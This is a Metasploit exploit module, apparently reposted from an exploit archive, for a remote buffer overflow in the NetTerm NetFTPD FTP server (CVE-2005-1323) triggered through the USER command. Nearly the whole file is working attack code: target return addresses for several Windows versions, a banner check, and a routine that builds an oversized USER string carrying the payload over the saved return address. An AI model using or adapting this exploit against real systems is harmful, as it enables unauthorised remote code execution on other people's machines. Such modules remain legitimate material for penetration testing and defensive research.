NetTerm NetFTPD – ‘USER’ Remote Buffer Overflow (Metasploit)
## # $Id: netterm_netftpd_user.rb 10559 2010-10-05 23:41:17Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'NetTerm NetFTPD USER Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in the NetTerm NetFTPD application. This package is part of the NetTerm package. This module uses the USER command to trigger the overflow. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10559 $', 'References' => [ [ 'CVE', '2005-1323'], [ 'OSVDB', '15865'], [ 'URL', 'http://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'], [ 'BID', '13396'], ], 'Privileged' => false, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x20\x0d", 'StackAdjustment' => -3500, }, 'Platform' => [ 'win' ], 'Targets' => [ [ 'NetTerm NetFTPD Universal', # Tested OK - hdm 11/24/2005 { 'Ret' => 0x0040df98, # netftpd.exe (multiple versions) }, ], [ 'Windows 2000 English', { 'Ret' => 0x75022ac4, # ws2help.dll }, ], [ 'Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad, # ws2help.dll }, ], [ 'Windows 2003 English', { 'Ret' => 0x7ffc0638, # peb magic :-) }, ], [ 'Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799, # ws2help.dll }, ], ], 'DisclosureDate' => 'Apr 26 2005', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /NetTerm FTP server/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect print_status("Trying target #{target.name}...") # U push ebp # S push ebx # E inc ebp # R push edx # \x20\xC0 and al, al buf = rand_text_english(8192, payload_badchars) buf[0, 1] = "\xc0" buf[1, payload.encoded.length] = payload.encoded buf[1014, 4] = [ target.ret ].pack('V') send_cmd( ["USER #{buf}"] ) send_cmd( ['HELP'] ) handler disconnect end end |